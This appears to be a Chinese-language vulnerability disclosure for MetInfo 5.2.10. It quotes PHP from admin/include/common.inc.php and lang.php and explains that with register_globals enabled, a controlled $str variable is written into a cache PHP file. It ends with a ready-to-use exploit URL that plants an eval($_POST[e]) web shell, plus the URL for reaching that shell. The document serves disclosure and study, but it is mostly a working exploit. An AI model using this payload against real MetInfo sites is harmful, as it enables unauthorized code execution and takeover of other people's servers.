<ul><li>/admin/include/common.inc.php</li></ul><pre class="">if(!is_array($met_langadmin[$_GET[langset]])&&$_GET[langset]!='')die('not have this language');
if($_GET[langset]!=''){
$_GET[langset]=daddslashes($_GET[langset],0,1);
change_met_cookie('languser',$_GET[langset]);
save_met_cookie();
}
$_M['user']['cookie'] = $met_cookie;
$metinfo_admin_name = get_met_cookie('metinfo_admin_name');
$metinfo_admin_pass = get_met_cookie('metinfo_admin_pass');
$metinfo_admin_pop = get_met_cookie('metinfo_admin_pop');
$metinfo_admin_shortcut = get_met_cookie('metinfo_admin_shortcut');
$languser = get_met_cookie('languser');
$langadminok = get_met_cookie('metinfo_admin_lang');
$langusenow=$languser;
if($langadminok<>"" and $langadminok<>'metinfo')$adminlang=explode('-',$langadminok);
require_once ROOTPATH_ADMIN.'include/lang.php';
</pre><p>包含lang.php</p><ul><li>/admin/include/lang.php</li></ul><pre class="">if(!file_get_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php')){
$js="var user_msg = new Array();\n";
$query="select * from $met_language where lang='$langset' and site='1' and array!='0'";
$result= $db->query($query);
if($db->affected_rows()==0){
require_once ROOTPATH_ADMIN.'system/lang/lang.func.php';
$post=array('newlangmark'=>$langset,'metcms_v'=>$metcms_v,'newlangtype'=>'admin');
$file_basicname=ROOTPATH_ADMIN.'update/lang/lang_'.$langset.'.ini';
$re=syn_lang($post,$file_basicname,$langset,1,0);
$query="select * from $met_language where lang='$langset' and site='1' and array!='0'";
$result= $db->query($query);
}
while($listlang= $db->fetch_array($result)){
if(substr($listlang['name'],0,2)=='js'){
$tmp=trim($listlang['value']);
$js=$js."user_msg['{$listlang['name']}']='$tmp';\n";
}
$name = 'lang_'.$listlang['name'];
$$name= trim($listlang['value']);
$str.='$'."{$name}='".str_replace(array('\\',"'"),array("\\\\","\\'"),trim($listlang['value']))."';";
}
$js1='$'."js='".str_replace("'","\\'",$js).'\';';
$str="<?php\n".$str.$js1."\n?>";
file_put_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php',$str);
<br></pre><p>当文件不存在时，会写入一个php文件。<br></p><p>当PHP开启了register_globals时，可以控制变量符合条件，导致任意写入文件，以至于getshell。</p><p>访问地址：</p><pre class="">http://10.211.55.4/metinfo5.2.10//admin/include/common.inc.php?met_admin_type_ok=2&langset=aaaa&met_langadmin[aaaa][]=12345&str=eval($_POST[e]);%3F%3E//</pre><p>访问shell：</p><pre class="">http://10.211.55.4/MetInfo5.2.10/cache/langadmin_aaaa.php</pre><p> </p><p><img alt="D4474688-9C8E-4929-81C9-40CE2684EF83.png" src="https://images.seebug.org/@/uploads/1433921939736-D4474688-9C8E-4929-81C9-40CE2684EF83.png" data-image-size="1798,956"><br></p>
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